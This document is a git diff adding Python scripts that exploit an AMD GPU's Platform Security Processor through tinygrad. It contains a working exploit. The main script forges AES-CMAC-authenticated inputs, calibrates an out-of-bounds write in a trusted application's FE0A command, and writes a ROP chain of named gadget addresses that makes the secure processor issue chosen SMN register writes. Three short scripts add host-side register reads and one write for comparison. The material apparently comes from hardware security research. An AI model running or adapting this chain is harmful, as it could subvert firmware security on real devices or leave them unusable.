+SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16] +def xt(a): + a<<=1 + return (a^0x1b)&0xff if a&0x100 else a +def expand(k): + w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1 + for i in range(4,44): + t=list(w[i-1]) + if i%4==0: + t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc) + w.append([w[i-4][j]^t[j] for j in range(4)]) + return w +def enc(k,b): + w=expand(k); s=[list(b[i::4]) for i in range(4)] + s=[[b[r+4*c] for c in range(4)] for r in range(4)] + def ark(rnd): + for c in range(4): + for r in range(4): s[r][c]^=w[rnd*4+c][r] + ark(0) + for rnd in range(1,11): + for r in range(4): + for c in range(4): s[r][c]=SB[s[r][c]] + for r in range(1,4): s[r]=s[r][r:]+s[r][:r] + if rnd!=10: + for c in range(4): + a=[s[r][c] for r in range(4)] + s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3] + s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3] + s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3] + s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3]) + ark(rnd) + return bytes(s[r][c] for c in range(4) for r in range(4)) +def dbl(b): + n=int.from_bytes(b,'big')<<1 + if int.from_bytes(b,'big')>>127: n^=0x87 + return (n&((1<<128)-1)).to_bytes(16,'big') +def cmac(k,m): + L=enc(k,bytes(16)); K1=dbl(L) + assert len(m)%16==0 and m + blocks=[m[i:i+16] for i in range(0,len(m),16)] + blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1)) + x=bytes(16) + for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk))) + return x +# ---------- device ---------- +adev=Device["AMD"].iface.dev_impl; psp=adev.psp +MODE=sys.argv[1] if len(sys.argv)==2 else '' +assert MODE in ('control','write'), 'pass control or write explicitly' +BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000 +g=json.load(open('/root/psp/hw/fe08_good.json')) +CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff'] +assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED' +print('pure-python AES-CMAC self-test: OK; no key material printed',flush=True) +import os +marker='/root/psp/hw/.gcp_rop_asd5_pmi3_'+MODE+'.attempted' +fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd) +def alloc(n): + pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa) +def load_asd(p): + b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3 + adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp() + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta + t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b) + t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000 + try: return psp._ring_submit(c).resp.status&0xFFFFFFFF + except Exception: return -1 +app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN) +blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +def load(): + n=(len(blob)+3)&~3 + adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp() + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta + t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob) + t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN + try: + r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id + except Exception: return -1,None +def build(cmd,arg10,blob256=None,seed=None,extra=None): + buf=bytearray(bytes([PAT])*BUFLEN) + struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10) + struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ) + if blob256: buf[0x14:0x14+len(blob256)]=blob256 + if seed is not None: + d=seed.to_bytes(4,'little')+bytes(range(4,0x20)) + buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d + struct.pack_into('<I',buf,0x414,0x10+len(d)) + for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v) + return buf +def sub(sid,cmd,buf): + adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp() + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD) + iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd + try: psp._ring_submit(c) + except Exception: pass + adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:]) + return struct.unpack_from('<I',out,8)[0], out + +PARAMS=0x04024000 +FILL=0xBB +asd_status=load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin') +print('LOAD_ASD:',hex(asd_status),flush=True) +assert asd_status==0 +st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid),flush=True) +assert st==0 and sid==1, 'requires fresh ASD-first GCP SID1 boot; do not attempt ROP' +def unload(s_): + c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_ + try: psp._ring_submit(c) + except Exception: pass +def handshake(): + ring,ta,out=checked_invoke(0xFE07,build(0xFE07,0)) + h=struct.unpack_from('<I',out,0x1950)[0] + assert ring==ta==0 and h, 'FE07 failed: abort rather than reload and shift params VA' + return h + +# ============================================================================ +# FE0A SELECTOR-8 PROBE (Addendum 142 step 3) +# +# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a +# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418, +# gated by D > 0xFFFFFFFB || D + 4 <= *(params+0x818). +# +# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the +# command buffer, so nothing out-of-allocation is written and the ring stays healthy. +# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed -- +# the 0x834 field identity is a static inference and may be wrong. +# ============================================================================ +FILL2 = 0xBB + +def checked_invoke(cmd, buf): + adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp() + c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD) + iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd + r=psp._ring_submit(c) # no swallowed timeout or nonzero ring status + ring=r.resp.status&0xffffffff + adev.gmc.flush_hdp() + out=bytes(adev.vram.view(cp, BUFLEN)[:]) + return ring,struct.unpack_from('<I',out,8)[0],out + +def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000): + """identical field set to codeccap's proven fe0a_codec, plus +0x834""" + buf = bytearray(bytes([FILL2]) * BUFLEN) + struct.pack_into('<I', buf, 0, 0xFE0A) + struct.pack_into('<I', buf, 0x10, h) + struct.pack_into('<I', buf, 0x414, 0x1000) + struct.pack_into('<I', buf, 0x818, sz818) + struct.pack_into('<I', buf, 0x81c, 0x20) + struct.pack_into('<I', buf, 0x820, sel) + struct.pack_into('<I', buf, 0x824, 0) + struct.pack_into('<I', buf, 0x828, 0) + struct.pack_into('<I', buf, 0x86c, d86c) + if d834 is not None: struct.pack_into('<I', buf, 0x834, d834) + struct.pack_into('<I', buf, 0x14, 0x11111111) + return buf + +def diffruns(pre, post): + runs, i, n = [], 0, len(post) + while i < n: + if post[i] != pre[i]: + j = i + while j < n and post[j] != pre[j]: j += 1 + runs.append((i, post[i:j])); i = j + else: + i += 1 + return runs + +def probe(tag, sel, d834=None, d86c=0, sz818=0x1000): + h = handshake() + sub(sid, 0xFE08, build(0xFE08, h, blob256=CT)) + sub(sid, 0xFE09, build(0xFE09, h, seed=1, + extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0})) + buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818) + out = invoke(0xFE0A, buf) + st = struct.unpack_from('<I', out, 8)[0] + d834s = 'none' if d834 is None else '%#x' % d834 + print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st)) + runs = diffruns(bytes(buf), out) + for off, data in runs: + if len(data) <= 24: print(' +%#07x %s' % (off, data.hex(' '))) + else: print(' +%#07x len=%-5d %s ...' % (off, len(data), data[:16].hex(' '))) + if not runs: print(' (no host-visible change at all)') + sys.stdout.flush() +import struct as _s +PARAMS=0x04024000 +RBASE_OFF=0x2000; RBASE=PARAMS+RBASE_OFF +PIVOT=0x0040371d # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc} +STRB =0x00402267 # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc} +SETR0=0x00405f79 # pop {r0,r8,fp,pc} +RET =0x0040498d # 0x40498c error-path entry (mov r6,r0 ; cbnz r0 -> 0x4049d8) +R0VAL=0x00000240 # nonzero status for the cbnz +MARK_OFF=0x3000; MARK=PARAMS+MARK_OFF; MARKB=0x5A +SLOT=0x41bfbc # PC slot; sl slot = 0x41bfb8, r4 slot = 0x41bfa0 +def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF +def fframe(): return tuple(c2p(n) for n in range(82,89)) +def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF +def fe0c(h,a10,a18): + b=bytearray(bytes([PAT])*BUFLEN) + _s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h) + _s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18) + _s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000) + return b + + +# ASD 0x404 reads ONLY benign scratch 0x16C, never PMI3's input data port. +# ASD 0x403 targets the distinct volatile PMI3 numeric word 0x03B30600. +# 0xE3030100 matches a naturally emitted GCP/SYS_DRV diagnostic word. +PA=0x03B30600; READ_PA=0x0000016C; VALUE=0xE3030100; IDX=82; SUB=4 +WIDTH=0 if MODE=='control' else 4 +assert PA==0x03B30600 and READ_PA==0x16C and WIDTH in (0,4) +RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x410000; MLEN=0xC00 +EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; MARK2=PARAMS+0x3100 +SETARGS=0x40167f; MEMCPYG=0x40410b; SVC1=0x4061cb; EXFILG=0x40404f +GRACE=0x3b0; MSGA=0x500; MSGB=0x600; MSGC=0x700; MSGD=0x800; MSGE=0x900 +DESC0=0xA00; DESC1=0xA40; PENT=0xA80; BEFORE=0xB00; AFTER=0xB04 + +def chain(b): + def W(off,v): _s.pack_into('<I',b,off,v&0xffffffff) + o=RBASE_OFF + for k in range(0,0x20,4): W(o+k,0) + W(o+0x20,SETARGS); W(o+0x24,STACK_DST); W(o+0x28,PARAMS+SRC_OFF); W(o+0x2c,MLEN) + for k in range(0x30,0x58,4): W(o+k,0) + W(o+0x58,MEMCPYG) + W(o+0x84,STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90,PIVOT) + m=SRC_OFF + for k in range(0,GRACE,4): W(m+k,0) + # Four ASD service-2 calls: physical read-before, seed, seed, write. + for i,msg in enumerate((MSGA,MSGB,MSGC,MSGD)): + p=0x20+0x60*i + W(m+p,SETARGS); W(m+p+4,2); W(m+p+8,STACK_DST+msg) + W(m+p+0x38,SVC1) + if i<3: W(m+p+0x60,SETARGS) + # D SVC1 -> save D status at EXFIL, then jump to E setargs. + W(m+0x19c,EXFIL); W(m+0x1a0,EXFILG) + W(m+0x230,SETARGS); W(m+0x234,2); W(m+0x238,STACK_DST+MSGE) + W(m+0x268,SVC1) + # E SVC1 -> save E status at EXFIL+4, then dump before/after values. + W(m+0x28c,EXFIL+4); W(m+0x290,EXFILG) + W(m+0x320,SETARGS); W(m+0x324,DUMPDST); W(m+0x328,STACK_DST+MSGA) + W(m+0x32c,0x440); W(m+0x358,MEMCPYG) + W(m+0x384,STACK_DST+GRACE); W(m+0x390,PIVOT) + g=m+GRACE + W(g+0x00,0x5A); W(g+0x04,MARK2) + for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0) + W(g+0x20,STRB) + for offset,byte,addr in ((0x24,0x8d,0x41bfbc),(0x3c,0x49,0x41bfbd), + (0x54,0x40,0x41bfbe),(0x6c,0x00,0x41bfbf)): + W(g+offset,byte); W(g+offset+4,addr) + W(g+offset+8,0); W(g+offset+12,0); W(g+offset+16,0) + W(g+offset+20,STRB) + W(g+0x84,0x41bf9c) + for k in (0x88,0x8c,0x90,0x94):W(g+k,0) + W(g+0x98,SETR0); W(g+0x9c,R0VAL) + W(g+0xa0,0);W(g+0xa4,0);W(g+0xa8,PIVOT) + for k in range(DESC0,PENT+0x40,4):W(m+k,0) + W(m+DESC1+0xC,STACK_DST+PENT) + W(m+PENT, SUB); W(m+PENT+8,PA) + def msg(off,op,fields): + for k in range(off,off+0x40,4):W(m+k,0) + W(m+off,op) + for n,v in fields.items():W(m+off+4*n,v) + msg(MSGA,0x404,{1:4<<8,2:READ_PA,5:4}) + msg(MSGB,0x100,{1:0,2:STACK_DST+DESC0}) + msg(MSGC,0x100,{1:1,2:STACK_DST+DESC1}) + msg(MSGD,0x403,{1:IDX|(SUB<<8),2:PA,3:VALUE,4:0,5:WIDTH}) + msg(MSGE,0x404,{1:4<<8,2:READ_PA,5:4}) + +def qcs(h): + b=bytearray(bytes([0xBB])*BUFLEN) + _s.pack_into('<I',b,0,0xFE0A);_s.pack_into('<I',b,0x10,h) + _s.pack_into('<I',b,0x14,0x11111111);_s.pack_into('<I',b,0x414,0x1000) + _s.pack_into('<I',b,0x818,0xFFFFFFF0);_s.pack_into('<I',b,0x81c,0x40) + _s.pack_into('<I',b,0x820,4);_s.pack_into('<I',b,0x824,0);_s.pack_into('<I',b,0x828,0) + _s.pack_into('<I',b,0x838,disp(SLOT-4));_s.pack_into('<I',b,0x83c,0x200) + _s.pack_into('<I',b,0x840,disp(SLOT-0x1c));_s.pack_into('<Q',b,0x14+0x200,0) + chain(b);return b + +def smn_read(addr): + adev.wreg(14,addr) # PCIE_INDEX2, address selection ONLY + return adev.rreg(15)&0xffffffff + +def pmi_snapshot(tag): + vals=tuple(smn_read(a) for a in (0x03B30604,0x03B30608,0x03B3060C)) + print(tag,'candidate status/rptr/wptr',tuple(hex(v) for v in vals), + 'MP0',hex(smn_read(0x03810ACC)), + 'bogus',hex(smn_read(0x0FEEDC00)),flush=True) + return vals + +# Exact unique signed codeword 0x4604A121 at 0x404A78: two thresholds +# calibrate this *live* SID1 params source before any OOB chosen write/ROP. +for seed,expected in ((0x4604A121,0x241),(0x4604A122,0x100)): + h0=handshake() + for opcode,b in ((0xFE08,build(0xFE08,h0,blob256=CT)), + (0xFE09,build(0xFE09,h0,seed=seed, + extra={0x820:1,0x828:0xE8,0x82C:SEED,0x830:0}))): + ring,ta,_=checked_invoke(opcode,b) + assert ring==ta==0, 'signed calibration auth gate failed' + cb=fe0a_buf(h0,11) + _s.pack_into('<I',cb,0x414,0xffffffff) # pre-comparator bounds gate + _s.pack_into('<I',cb,0x824,0xFC3E0A64) + ring,ta,_=checked_invoke(0xFE0A,cb) + print('preflight counter=%#x ring=%#x ta=%#x expected=%#x'% + (seed-1,ring,ta,expected),flush=True) + assert ring==0 and ta==expected, 'params source word does not match: no ROP' + +host_scratch=adev.rreg(READ_PA//4)&0xffffffff +print('host benign scratch',hex(host_scratch),'candidate target',hex(PA), + 'word',hex(VALUE),'mode',MODE,flush=True) +assert host_scratch==0, 'benign read control not zero' +h=handshake() +for opcode,b in ((0xFE0C,fe0c(h,RBASE,(PIVOT<<32))), + (0xFE08,build(0xFE08,h,blob256=CT)), + (0xFE09,build(0xFE09,h,seed=1, + extra={0x820:1,0x828:0xE8,0x82C:SEED,0x830:0}))): + ring,ta,_=checked_invoke(opcode,b) + print('ROP setup',hex(opcode),'ring',hex(ring),'ta',hex(ta),flush=True) + assert ring==ta==0, 'ROP setup failed: no 0x403 request' +pmi_before=pmi_snapshot('BEFORE ROP') +ring,st,out=checked_invoke(0xFE0A,qcs(h)) +print('ROP FE0A ring=%#x ta=%#x'%(ring,st),flush=True) +assert ring==0, 'ring did not complete: STOP; ATX recovery required' +pmi_after=pmi_snapshot('AFTER ROP') +fr=fframe(); grace=out[0x3100] +rvD,rvE=_s.unpack_from('<II',out,0x3000) +before=_s.unpack_from('<I',out,0x3010+0x00c)[0] +after=_s.unpack_from('<I',out,0x3010+0x40c)[0] +host_scratch_after=adev.rreg(READ_PA//4)&0xffffffff +print('ASD benign SVC7B before=%#x after=%#x; 0x403 handler=%#x read_status=%#x'% + (before,after,rvD,rvE),flush=True) +print('PMI3 wptr_delta=%#x; status before/after=%#x/%#x'% + ((pmi_after[2]-pmi_before[2])&0xffffffff,pmi_before[0],pmi_after[0]),flush=True) +print('FE0A=%#x grace=%#x faultframe=%s host_scratch=%#x'% + (st,grace,' '.join('%08x'%x for x in fr),host_scratch_after),flush=True) +assert st==0x240 and grace==0x5a and fr==(0,)*7, 'ROP return not verified' +assert rvD==(2 if MODE=='control' else 0) and rvE==0, 'ASD handler result not verified' +assert before==after==host_scratch==host_scratch_after==0, 'benign read changed unexpectedly' +ring,ta,_=checked_invoke(0xFE07,build(0xFE07,0)) +print('POST ROP FE07 ring=%#x ta=%#x'%(ring,ta),flush=True) +assert ring==ta==0 +u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) +u.cmd.cmd_unload_ta.session_id=sid +ru=psp._ring_submit(u) +print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True) +assert (ru.resp.status&0xffffffff)==0 diff --git a/hw/mp1_pmi3_host_event_control.py b/hw/mp1_pmi3_host_event_control.py new file mode 100644 index 0000000..554026e --- /dev/null +++ b/hw/mp1_pmi3_host_event_control.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +"""One-shot host-SMN PMI3 event-equivalence control, volatile only. + +Test whether privileged *host* PCIE_INDEX2/DATA2 can send the same naturally +emitted diagnostic word that ASD 0x403 successfully enqueued on PSP fabric. +This is a bounded write to numeric 0x03B30600, NOT flash/fuse/security bar. +Queue pointer/status readbacks and bogus/MP0 controls distinguish mirrors; +it does NOT prove the event consumer or any PSP-only security advantage. +""" +import os +from tinygrad import Device + +fd=os.open('/root/psp/hw/.mp1_pmi3_host_event_control.attempted', + os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600) +os.close(fd) +adev=Device['AMD'].iface.dev_impl + +def read(a): + adev.wreg(14,a) # host PCIE_INDEX2 address selection + return adev.rreg(15)&0xffffffff + +def snap(tag): + t=tuple(read(a) for a in (0x03B30604,0x03B30608,0x03B3060C)) + print(tag,'candidate status/rptr/wptr',tuple(hex(x) for x in t), + 'MP0',hex(read(0x03810ACC)),'bogus',hex(read(0x0FEEDC00)),flush=True) + return t + +before=snap('BEFORE A') +again=snap('BEFORE B (no data write)') +assert before==again, 'unstable pointer, no host write' +assert before[0]==0 and before[1]==0x40000 and 0x40000<=before[2]<=0x403f0 +assert read(0x03810ACC)==0x80000000 and read(0x0FEEDC00)==0x00DCEE0F +adev.wreg(14,0x03B30600) +adev.wreg(15,0xE3030100) # naturally emitted, bounded volatile event +print('ONE host-SMN write: address 0x03B30600 word 0xE3030100',flush=True) +after=snap('AFTER') +print('host wptr delta',hex((after[2]-before[2])&0xffffffff),flush=True) diff --git a/hw/mp1_pmi3_host_event_control_fresh.py b/hw/mp1_pmi3_host_event_control_fresh.py new file mode 100644 index 0000000..ae98f6b --- /dev/null +++ b/hw/mp1_pmi3_host_event_control_fresh.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python3 +"""Fresh-ATX one-shot host-SMN PMI3 event-equivalence control, volatile only. + +Test whether privileged *host* PCIE_INDEX2/DATA2 can send the same naturally +emitted diagnostic word that ASD 0x403 successfully enqueued on PSP fabric. +This is a bounded write to numeric 0x03B30600, NOT flash/fuse/security bar. +Queue pointer/status readbacks and bogus/MP0 controls distinguish mirrors; +it does NOT prove the event consumer or any PSP-only security advantage. +""" +import os +from tinygrad import Device + +fd=os.open('/root/psp/hw/.mp1_pmi3_host_event_control_fresh.attempted', + os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600) +os.close(fd) +adev=Device['AMD'].iface.dev_impl + +def read(a): + adev.wreg(14,a) # host PCIE_INDEX2 address selection + return adev.rreg(15)&0xffffffff + +def snap(tag): + t=tuple(read(a) for a in (0x03B30604,0x03B30608,0x03B3060C)) + print(tag,'candidate status/rptr/wptr',tuple(hex(x) for x in t), + 'MP0',hex(read(0x03810ACC)),'bogus',hex(read(0x0FEEDC00)),flush=True) + return t + +before=snap('BEFORE A') +again=snap('BEFORE B (no data write)') +assert before==again, 'unstable pointer, no host write' +assert before[0]==0 and before[1]==0x40000 and 0x40000<=before[2]<=0x403f0 +assert read(0x03810ACC)==0x80000000 and read(0x0FEEDC00)==0x00DCEE0F +adev.wreg(14,0x03B30600) +adev.wreg(15,0xE3030100) # naturally emitted, bounded volatile event +print('ONE host-SMN write: address 0x03B30600 word 0xE3030100',flush=True) +after=snap('AFTER') +print('host wptr delta',hex((after[2]-before[2])&0xffffffff),flush=True) diff --git a/hw/psp_mp1_pmi3_host_readonly.py b/hw/psp_mp1_pmi3_host_readonly.py new file mode 100644 index 0000000..74ab9b9 --- /dev/null +++ b/hw/psp_mp1_pmi3_host_readonly.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +"""Read-only host SMN survey of candidate MP1 PMI3 adjacent words. + +Numeric 0x03B30600 occurs in signed Navi31 SMU13 firmware; adjacent +register names are only a Navi22 hypothesis. Do NOT read the data word here: +a read may be destructive. The only host writes select the SMN read index. +""" +from tinygrad import Device +adev=Device['AMD'].iface.dev_impl + +def smn_read(a): + adev.wreg(14,a) # PCIE_INDEX2: address selector only + return adev.rreg(15)&0xffffffff + +for name,a in ( + ('bogus_before',0x0FEEDC00), + ('mp0_before',0x03810ACC), + ('candidate_status_first',0x03B30604), + ('candidate_read_pointer',0x03B30608), + ('candidate_write_pointer',0x03B3060C), + ('candidate_status_again',0x03B30604), + ('mp0_after',0x03810ACC), + ('bogus_after',0x0FEEDC00), +): + print(name,hex(a),hex(smn_read(a)),flush=True) |
